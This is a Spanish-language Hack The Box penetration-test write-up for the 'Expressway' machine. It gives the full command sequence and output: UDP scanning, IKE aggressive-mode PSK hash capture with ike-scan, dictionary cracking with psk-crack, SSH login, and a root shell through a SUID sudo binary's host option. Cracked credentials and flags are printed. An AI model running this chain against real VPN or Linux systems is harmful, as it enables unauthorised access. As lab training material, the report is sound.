REPORTE DE PENTESTING EN HTB

Máquina: Expressway

KeruDWL

“Este documento describe el proceso de reconocimiento, análisis y explotación de vulnerabilidades, así como la posterior escalada de privilegios, llevado a cabo sobre un activo objetivo dentro del entorno de Hack The Box.”

ÍNDICE

Introducción

El presente reporte documenta de manera técnica y detallada el proceso de análisis, explotación y escalada de privilegios llevado a cabo sobre un sistema Linux dentro de un entorno de laboratorio controlado. El objetivo principal de la prueba fue evaluar la seguridad de la infraestructura de red expuesta, identificar configuraciones inseguras en mecanismos de acceso remoto (VPN) y determinar la viabilidad de comprometer la integridad del sistema hasta obtener privilegios administrativos completos.

Durante el desarrollo de la práctica se aplicaron metodologías estándar de pruebas de penetración, abarcando desde el reconocimiento inicial y la enumeración exhaustiva de puertos (TCP y UDP) hasta el análisis de protocolos criptográficos de intercambio de claves (IKE). El proceso incluyó la identificación de modos de autenticación débiles, la captura y craqueo de credenciales mediante ataques de diccionario y la posterior elevación de privilegios aprovechando malas configuraciones en binarios del sistema (SUID).

Todas las actividades, técnicas y procedimientos descritos en este documento se realizaron exclusivamente con fines educativos y de aprendizaje en ciberseguridad, respetando estrictamente los límites éticos y operativos definidos por el entorno de pruebas, sin afectar sistemas reales de producción.

Alcance y datos generales del entorno

La resolución de la máquina se llevó a cabo dentro de un entorno de laboratorio controlado y autorizado, proporcionado por la plataforma Hack The Box. El alcance del ejercicio estuvo limitado exclusivamente al sistema objetivo asignado, sin interactuar con otros equipos o servicios ajenos al laboratorio.

El proceso se realizó bajo un enfoque de caja negra, es decir, sin información previa sobre la arquitectura, configuración interna, usuarios o servicios del objetivo. Todas las acciones descritas en este reporte se ejecutaron con fines educativos y de aprendizaje en ciberseguridad, respetando los límites definidos por el entorno de pruebas.

Para la ejecución de la práctica se utilizó una máquina atacante con Kali Linux, conectada a la red privada del laboratorio mediante una interfaz VPN, lo cual permitió establecer comunicación directa con el sistema objetivo y realizar tareas de reconocimiento, enumeración, explotación y escalamiento de privilegios.

Datos generales del entorno

- **Plataforma:** Hack The Box (entorno de laboratorio)
- **Tipo de prueba:** Caja individual (Linux)
- **Sistema operativo del atacante:** Kali Linux
- **IP del atacante:** 10.10.17.69
- **IP del objetivo:** 10.10.11.87
- **Sistema operativo estimado del objetivo:** Linux (inferido a partir del valor TTL en respuestas ICMP)
- **Servicios expuestos inicialmente:**
    - Servicio SSH (puerto 22/tcp)
    - Servicio ISAKMP/VPN (puerto 500/udp)

Toda la actividad descrita en este reporte se realizó exclusivamente dentro de los límites definidos por el laboratorio, con fines educativos y de aprendizaje en ciberseguridad.

Metodología

La resolución de la máquina se llevó a cabo siguiendo una metodología de pentesting estructurada, aplicada dentro del entorno de laboratorio de Hack The Box. Dicha metodología permitió abordar el sistema objetivo de forma ordenada, progresiva y reproducible, evitando acciones aleatorias y priorizando la correcta enumeración antes de cualquier intento de explotación.

El proceso se basó en la recopilación y análisis continuo de información, donde cada fase alimentó a la siguiente, permitiendo identificar vectores de ataque viables y reducir la superficie de error durante la resolución de la máquina.

Las fases que conformaron la metodología aplicada fueron las siguientes:

- **Reconocimiento:**

  Validación de conectividad con el sistema objetivo y recolección inicial de información, incluyendo la identificación del sistema operativo mediante el análisis de respuestas ICMP y otros indicadores de red.

- **Enumeración:**

  Descubrimiento de servicios expuestos tanto en protocolo TCP como UDP. Ante la escasa superficie de ataque en TCP, se profundizó en la enumeración de servicios UDP, identificando infraestructuras de VPN (IKE) críticas para el acceso.

- **Análisis:**

  Evaluación de la información obtenida para identificar configuraciones inseguras. Se analizó específicamente el modo de intercambio de claves del servicio VPN, detectando la vulnerabilidad de "Aggressive Mode" que permite la captura de hashes de autenticación.

- **Explotación:**

  Ejecución controlada de acciones orientadas a obtener acceso inicial. Se realizó la captura del handshake IKE y el posterior craqueo offline de la clave precompartida (PSK), lo que permitió obtener credenciales para acceder al sistema mediante SSH.

- **Escalada de privilegios:**

  Enumeración local del sistema comprometido para identificar configuraciones inseguras. Se detectó un binario personalizado con permisos SUID mal configurados, permitiendo elevar los privilegios del usuario inicial hasta obtener acceso completo como root.

Esta metodología permitió documentar de manera clara y ordenada cada una de las etapas involucradas en la resolución de la máquina, asegurando un proceso lógico y alineado con las buenas prácticas del pentesting.

Reconocimiento y enumeración

La fase de reconocimiento y enumeración tuvo como objetivo obtener información inicial del sistema objetivo y su superficie de ataque expuesta. A través de esta fase fue posible identificar el sistema operativo, los puertos abiertos y, fundamentalmente, descubrir servicios críticos que no eran visibles mediante escaneos tradicionales.

Verificación de conectividad (ICMP)

En primera instancia, se verificó la conectividad entre la máquina atacante y el sistema objetivo mediante el envío de mensajes ICMP. Este procedimiento permitió confirmar que el host se encontraba activo y obtener indicadores preliminares sobre el sistema operativo en función del valor TTL (Time To Live).

Comando ejecutado: **ping -c 2 10.10.11.87**

```
┌──(kali㉿kali)-[~/Downloads]
└─$ ping -c 2 10.10.11.87
PING 10.10.11.87 (10.10.11.87) 56(84) bytes of data.
64 bytes from 10.10.11.87: icmp_seq=1 ttl=63 time=125 ms
64 bytes from 10.10.11.87: icmp_seq=2 ttl=63 time=128 ms

--- 10.10.11.87 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 125.496/126.514/127.532/1.018 ms
```

Resultado observado:

- El sistema objetivo respondió correctamente a las solicitudes ICMP.
- Se obtuvo un valor TTL=63. Dado que el TTL predeterminado para sistemas Linux es 64 (y se resta una unidad por el salto de red), este valor sugiere con un alto nivel de certeza que el sistema operativo objetivo es Linux.

Con esto se confirmó que el host se encontraba activo y accesible desde la red del laboratorio.

Escaneo de puertos y detección de servicios (TCP)

Una vez validada la conectividad, se procedió a realizar un escaneo completo de los 65,535 puertos TCP para identificar servicios expuestos. Se utilizó una configuración de escaneo agresiva (--min-rate 5000) para optimizar el tiempo de respuesta y detectar únicamente puertos abiertos.

Comando ejecutado:

sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.11.87 -oG allPorts

```
┌──(kali㉿kali)-[~/Downloads]
└─$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.11.87 -oG allPorts

[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-02 11:44 CST
Nmap scan report for 10.10.11.87
Host is up (0.14s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh

Nmap done: 1 IP address (1 host up) scanned in 15.42 seconds
```

Tras identificar únicamente el puerto 22 como abierto, se ejecutó un escaneo específico sobre este puerto para enumerar la versión del servicio y obtener más detalles mediante scripts de reconocimiento predeterminados de Nmap.

Comando ejecutado: **nmap -p 22 -sC -sV 10.10.11.87**

```
┌──(kali㉿kali)-[~/Downloads]
└─$ nmap -p 22 -sC -sV 10.10.11.87
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-02 11:44 CST
Nmap scan report for expressway.htb (10.10.11.87)
Host is up (0.16s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.61 seconds
```

Análisis de resultados TCP

El escaneo TCP reveló únicamente el servicio SSH (OpenSSH 10.0p2). Al no existir vulnerabilidades críticas inmediatas para esta versión y carecer de credenciales, se determinó que la superficie de ataque TCP era insuficiente para un acceso inicial directo.

Escaneo de puertos y detección de servicios (UDP)

Ante la falta de vectores de ataque en TCP, se decidió ampliar la superficie de enumeración auditando el protocolo UDP. Se realizó un escaneo inicial sobre los 500 puertos UDP más comunes para detectar servicios de infraestructura que pudieran estar ocultos.

Comando ejecutado:

sudo nmap -sU --top-ports 500 --min-rate 5000 -n -Pn --max-retries 1 10.10.11.87 -oG udpPorts

```
┌──(kali㉿kali)-[~/Downloads]
└─$ sudo nmap -sU --top-ports 500 --min-rate 5000 -n -Pn --max-retries 1 10.10.11.87 -oG udpPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-02 11:48 CST
Nmap scan report for 10.10.11.87
Host is up (0.19s latency).
Not shown: 495 open|filtered udp ports (no-response)
PORT      STATE  SERVICE
500/udp   open   isakmp
1901/udp  closed fjicl-tep-a
16430/udp closed unknown
32775/udp closed sometimes-rpc14
49153/udp closed unknown

Nmap done: 1 IP address (1 host up) scanned in 1.44 seconds
```

El descubrimiento del puerto **500/udp (ISAKMP)** representó un hallazgo crítico. Para confirmar la naturaleza del servicio y obtener información detallada sobre su configuración, se lanzó un escaneo profundo utilizando scripts de enumeración específicos.

Comando ejecutado**: sudo nmap -sU -p 500 -sC -sV 10.10.11.87**

```
┌──(kali㉿kali)-[~/Downloads]
└─$ sudo nmap -sU -p 500 -sC -sV 10.10.11.87
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-02 11:48 CST
Nmap scan report for expressway.htb (10.10.11.87)
Host is up (0.14s latency).

PORT    STATE SERVICE VERSION
500/udp open  isakmp?
| ike-version:
|   attributes:
|     XAUTH
|_    Dead Peer Detection v1.0

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 130.27 seconds
```

Conclusión de la fase de reconocimiento

La enumeración exhaustiva permitió definir el vector de ataque principal. La presencia del servicio ISAKMP en el puerto 500/UDP, con atributos como **XAUTH** y **Dead Peer Detection**, indicó la existencia de una infraestructura VPN IPsec activa. Esto habilitó la siguiente fase de análisis enfocada en evaluar la seguridad del intercambio de claves (IKE).

Análisis de Vulnerabilidades y Explotación

Tras identificar el servicio ISAKMP en el puerto 500/UDP, se procedió a realizar un análisis profundo de la configuración del protocolo IKE (Internet Key Exchange). El objetivo fue determinar si el servicio permitía modos de negociación inseguros que pudieran exponer información sensible o credenciales de autenticación.

Enumeración de VPN y detección de Modo Agresivo

Se utilizó la herramienta **ike-scan** para interactuar con el servicio VPN. El análisis reveló que el servidor estaba configurado para aceptar el **Modo Agresivo (Aggressive Mode)** en la fase 1 de la negociación IKE. A diferencia del "Main Mode", el Modo Agresivo transmite la identidad del usuario y el hash de autenticación antes de establecer un canal cifrado seguro, lo que lo hace vulnerable a ataques de enumeración y captura de hashes.

Comando ejecutado: **sudo ike-scan -M -A 10.10.11.87**

```
┌──(kali㉿kali)-[~/Downloads]
└─$ sudo ike-scan -M -A 10.10.11.87
[sudo] password for kali:
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87     Aggressive Mode Handshake returned
        HDR=(CKY-R=9d36b17790c7734d)
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds
LifeDuration=28800)
        KeyExchange(128 bytes)
        Nonce(32 bytes)
        ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
        VID=09002689dfd6b712 (XAUTH)
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
        Hash(20 bytes)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.159 seconds (6.29 hosts/sec).  1 returned handshake; 0
returned notify
```

Resultado del análisis

El servidor respondió al handshake exponiendo un identificador de usuario válido: ike@expressway.htb. Este hallazgo confirmó la viabilidad de un ataque dirigido para capturar la clave precompartida (PSK).

Configuración de resolución de nombres

Para asegurar la correcta resolución del dominio y facilitar la interacción con el servicio utilizando el FQDN (Fully Qualified Domain Name) detectado, se añadió la entrada correspondiente en el archivo de configuración de hosts local.

Comando ejecutado**: echo "10.10.11.87 expressway.htb" | sudo tee -a /etc/hosts**

```
┌──(kali㉿kali)-[~/Downloads]
└─$ echo "10.10.11.87 expressway.htb" | sudo tee -a /etc/hosts
10.10.11.87 expressway.htb
```

Captura del hash de autenticación (PSK)

Aprovechando la información obtenida, se lanzó un ataque específico utilizando el ID de usuario descubierto (ike@expressway.htb) con el fin de capturar el hash de la PSK. Previamente, se añadió la entrada correspondiente en el archivo /etc/hosts para asegurar la correcta resolución del dominio.

Comando ejecutado: **sudo ike-scan -M -A 10.10.11.87 --id=ike@expressway.htb -P**

```
┌──(kali㉿kali)-[~/Downloads]
└─$ sudo ike-scan -M -A 10.10.11.87 --id=ike@expressway.htb -P
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87     Aggressive Mode Handshake returned
        HDR=(CKY-R=01978f0683f6a6c5)
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
        KeyExchange(128 bytes)
        Nonce(32 bytes)
        ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
        VID=09002689dfd6b712 (XAUTH)
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
        Hash(20 bytes)

IKE PSK parameters (g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r):

9b49c00347848020be5f6ca5ab4b57b3fc0fbe2d33dca8fb71eba6c30507ae41b7297209c0b9af450f7780993bb
67e6cd0d50883f39809476626f7cf3bf82f4f351164542c81dbb9a26fd91483f7578bd020d8b03d44ebb7bc4bac7
7fdaef6207bae029f933b128bf4972d98312a9889285b07ba29c870f59135aba15f93423b:aea66d9d483cf952db
72e84ea5a8e4238ec75224707938b6b1e428e4a7f1345a1b94980aac64b9cb350c228af1494cbd57dd9a410d7
e63b2f8e4d047b5030238848c7f6e78c75aff3065ed83048cb1195553781575dc15fa38d4156b4484514c792cab
ec82876378cb7b2422802ca69e54b71c23eeb56255418de4e96604e338:01978f0683f6a6c5:d4e518be8bfdee
b7:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0
001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007
0800300002403010000800100018002000280030001800400028 00b0001000c000400007080000000240401 0
0008001000180020001800300018004000280 0b0001000c000400007080:03000000696b6540657870726573
737761792e687462:455d0991d54356b98dff88a2c2865817bbac19a5:a46f28b3e569ab37ff1de36cb5214c8a3
57a6924f8f6efed1347fc4b3b7ad724:45cade52233581f4e0ce4e477b74964769ee08b2

Ending ike-scan 1.9.6: 1 hosts scanned in 0.137 seconds (7.33 hosts/sec).  1 returned handshake; 0 returned notify
```

Preparación del entorno de ataque

Para proceder con el ataque de fuerza bruta, fue necesario aislar y almacenar el hash capturado en un archivo local. Se utilizó el editor de texto nano para crear el archivo hash_limpio.txt, donde se pegó la cadena completa de parámetros PSK obtenida en el paso anterior.

Comando ejecutado: **nano hash_limpio.txt**

```
┌──(kali㉿kali)-[~/Downloads]
└─$ nano hash_limpio.txt
```

Tras guardar el archivo, se verificó su contenido para asegurar que el hash se encontrara correctamente formateado y listo para ser procesado por la herramienta de cracking.

Comando ejecutado: **cat hash_limpio.txt**

```
┌──(kali㉿kali)-[~/Downloads]
└─$ cat hash_limpio.txt
```

9b49c00347848020be5f6ca5ab4b57b3fc0fbe2d33dca8fb71eba6c30507ae41b7297209c0b9af450f7780993bb
67e6cd0d50883f39809476626f7cf3bf82f4f351164542c81dbb9a26fd91483f7578bd020d8b03d44ebb7bc4bac7
7fdaef6207bae029f933b128bf4972d98312a9889285b07ba29c870f59135aba15f93423b:aea66d9d483cf952db
72e84ea5a8e4238ec75224707938b6b1e428e4a7f1345a1b94980aac64b9cb350c228af1494cbd57dd9a410d7
e63b2f8e4d047b5030238848c7f6e78c75aff3065ed83048cb1195553781575dc15fa38d4156b4484514c792cab
ec82876378cb7b2422802ca69e54b71c23eeb56255418de4e96604e338:01978f0683f6a6c5:d4e518be8bfdee
b7:000000010000000100000098010100040300002401010000800100058002000280030001800400028000b0
001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007
080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401 0
000800100018002000180030001800400028000b0001000c000400007080:03000000696b6540657870726573
737761792e687462:455d0991d54356b98dff88a2c2865817bbac19a5:a46f28b3e569ab37ff1de36cb5214c8a3
57a6924f8f6efed1347fc4b3b7ad724:45cade52233581f4e0ce4e477b74964769ee08b2

Crackeo de credenciales (Offline)

Una vez preparado el archivo con el hash (hash_limpio.txt), se procedió a realizar un ataque de diccionario utilizando la herramienta **psk-crack** junto con la lista de palabras **rockyou.txt**.

Herramienta utilizada: psk-crack

Diccionario: rockyou.txt

Comando ejecutado: **psk-crack hash_limpio.txt --dictionary=rockyou.txt**

```
┌──(kali㉿kali)-[~/Downloads]
└─$ psk-crack hash_limpio.txt --dictionary=rockyou.txt
Starting psk-crack [ike-scan 1.9.6] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode

key "freakingrockstarontheroad" matches SHA1 hash

45cade52233581f4e0ce4e477b74964769ee08b2
Ending psk-crack: 8045040 iterations in 4.017 seconds (2002972.20 iterations/sec)
```

Resultado de la explotación

El ataque fue exitoso, revelando que la contraseña en texto claro asociada al usuario **ike** es **freakingrockstarontheroad**. Esta credencial es crítica para intentar un acceso legítimo al sistema.

Acceso por SSH y escalamiento de privilegios

Tras el éxito en el ataque de fuerza bruta sobre el servicio VPN, se obtuvieron credenciales válidas en texto claro, se procedió a validar las credenciales a través del servicio SSH. Esta fase tuvo como objetivo establecer una sesión interactiva en el sistema, enumerar el entorno local y buscar vectores para elevar privilegios hasta el nivel de administrador.

Acceso al sistema mediante SSH

Se procedió a iniciar sesión en el servicio SSH, utilizando las credenciales del usuario ike recuperadas en la fase anterior (ike : freakingrockstarontheroad).

Comando ejecutado: **ssh ike@10.10.11.87**

```
┌──(kali㉿kali)-[~/Downloads]
└─$ ssh ike@10.10.11.87
ike@10.10.11.87's password:
Last login: Fri Jan  2 18:07:07 GMT 2026 from 10.10.14.84 on ssh
Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jan 2 18:22:23 2026 from 10.10.17.69
ike@expressway:~$
```

Enumeración de entorno y captura de la flag de usuario

Una vez dentro del sistema, se realizó una enumeración básica para comprender el contexto del usuario comprometido. Se verificó el identificador de usuario (UID) y los grupos de pertenencia (gid), confirmando que se trataba de un usuario estándar con acceso limitado. Posteriormente, se localizó el archivo user.txt en el directorio personal, el cual contiene la prueba de compromiso a nivel de usuario.

Comandos ejecutados: whoami, id, ls, cat user.txt

```
ike@expressway:~$ whoami
ike
ike@expressway:~$ id
uid=1001(ike) gid=1001(ike) groups=1001(ike),13(proxy)
ike@expressway:~$ ls
sudo-chwoot.sh  user.txt
ike@expressway:~$ cat user.txt
b7f87e6ef5ec705acd07c42b798c9dd2
```

Flag de usuario: b7f87e6ef5ec705acd07c42b798c9dd2

Enumeración de vectores de escalada de privilegios

Con el acceso inicial asegurado, se procedió a la fase de post-explotación orientada a la escalada de privilegios. La metodología estándar comenzó verificando si el usuario ike poseía permisos para ejecutar comandos con privilegios elevados a través de sudo.

Comando ejecutado: **sudo -l**

```
ike@expressway:~$ sudo -l
Password:
Sorry, user ike may not run sudo on expressway.
```

Al confirmar que el usuario no tenía permisos en el archivo **sudoers**, se orientó la búsqueda hacia binarios con el bit **SUID (Set User ID)** activado. Los archivos con este permiso especial se ejecutan con los privilegios del propietario del archivo (generalmente root) en lugar del usuario que los invoca. Si uno de estos binarios está mal configurado o es vulnerable, puede ser utilizado para ejecutar código arbitrario como administrador.

Comando ejecutado: **find / -perm -u=s -type f 2>/dev/null**

```
ike@expressway:~$ find / -perm -u=s -type f 2>/dev/null
/usr/sbin/exim4
/usr/local/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/sudo
/usr/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/newgrp
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
```

Análisis del hallazgo crítico

La búsqueda arrojó un resultado altamente sospechoso**: /usr/local/bin/sudo**.

Anomalía

En sistemas Linux estándar, el binario legítimo de sudo se encuentra en /usr/bin/sudo. La existencia de un binario llamado "sudo" en /usr/local/bin/ sugiere una instalación personalizada, un script de desarrollo o una versión antigua olvidada por el administrador.

Riesgo

Al tener el bit SUID activado y estar fuera de la gestión de paquetes del sistema, este binario representa un vector de ataque probable si no implementa los controles de seguridad adecuados.

Explotación y obtención de acceso como root

Se procedió a interactuar con el binario anómalo. Mediante pruebas de ejecución, se descubrió que este binario personalizado permitía la ejecución de comandos si se le proporcionaban argumentos específicos (posiblemente relacionados con configuraciones de desarrollo o *debugging*). Al invocar una shell (/bin/bash) utilizando este binario, el sistema preservó los privilegios de root otorgados por el bit SUID.

Comando ejecutado: **/usr/local/bin/sudo -h offramp.expressway.htb /bin/bash**

```
ike@expressway:~$ /usr/local/bin/sudo -h offramp.expressway.htb /bin/bash
root@expressway:/home/ike#
```

Confirmación de compromiso total

La ejecución fue exitosa y la shell resultante otorgó un uid=0, lo que confirma el acceso total al sistema con privilegios de superusuario. Finalmente, se accedió al directorio /root para recuperar la bandera final, completando así el desafío.

Comandos ejecutados: **whoami**, **id**, **cd /root**, **ls** & **cat root.txt**

```
root@expressway:/home/ike# whoami
root

root@expressway:/home/ike# id
uid=0(root) gid=0(root) groups=0(root)

root@expressway:/home/ike# cd /root

root@expressway:~# ls
root.txt

root@expressway:~# cat root.txt
67d13230846f9189bfa5a5cb5d8d4a45
```

Flag de root: 67d13230846f9189bfa5a5cb5d8d4a45

Conclusión del escalamiento de privilegios

El compromiso total del sistema fue posible debido a una mala configuración en un binario SUID personalizado (/usr/local/bin/sudo). A pesar de que el usuario ike no tenía permisos explícitos en la configuración estándar de sudoers, la existencia de este ejecutable con permisos SUID permitió eludir las restricciones de seguridad y generar una shell con privilegios de root, comprometiendo la integridad completa del servidor.

Conclusión general

El análisis de seguridad realizado sobre la máquina Expressway ha evidenciado cómo la exposición de servicios de infraestructura en protocolos no convencionales (UDP), sumada a configuraciones locales inseguras, puede derivar en el compromiso total de un sistema.

El vector de entrada inicial destacó la importancia de una enumeración exhaustiva. A pesar de que la superficie de ataque en TCP era mínima y segura, la auditoría del protocolo UDP reveló un servicio VPN (IKE) configurado en Modo Agresivo. Esta debilidad arquitectónica permitió la enumeración de usuarios y la captura de hashes criptográficos sin necesidad de autenticación previa. La posterior debilidad en la política de contraseñas (uso de claves presentes en diccionarios comunes) facilitó el acceso legítimo al sistema a través de SSH.

Finalmente, la escalada de privilegios demostró los riesgos y la mala gestión de permisos. La existencia de un binario sudo personalizado y oculto en una ruta no estándar (/usr/local/bin), con el bit SUID activado y sin las debidas restricciones de ejecución, permitió eludir los controles de seguridad del sistema operativo y elevar privilegios hasta obtener el control total como root.

En conjunto, este ejercicio subraya la necesidad de aplicar defensa en profundidad: proteger los servicios de red (incluso en UDP), implementar políticas de contraseñas robustas y auditar rigurosamente los binarios con privilegios elevados dentro del sistema de archivos.

REPORTE TÉCNICO DE PENTESTING

KeruDWL

Hack The Box – Expressway

2025

GitHub · KeruDWL

HTB · KeruDWL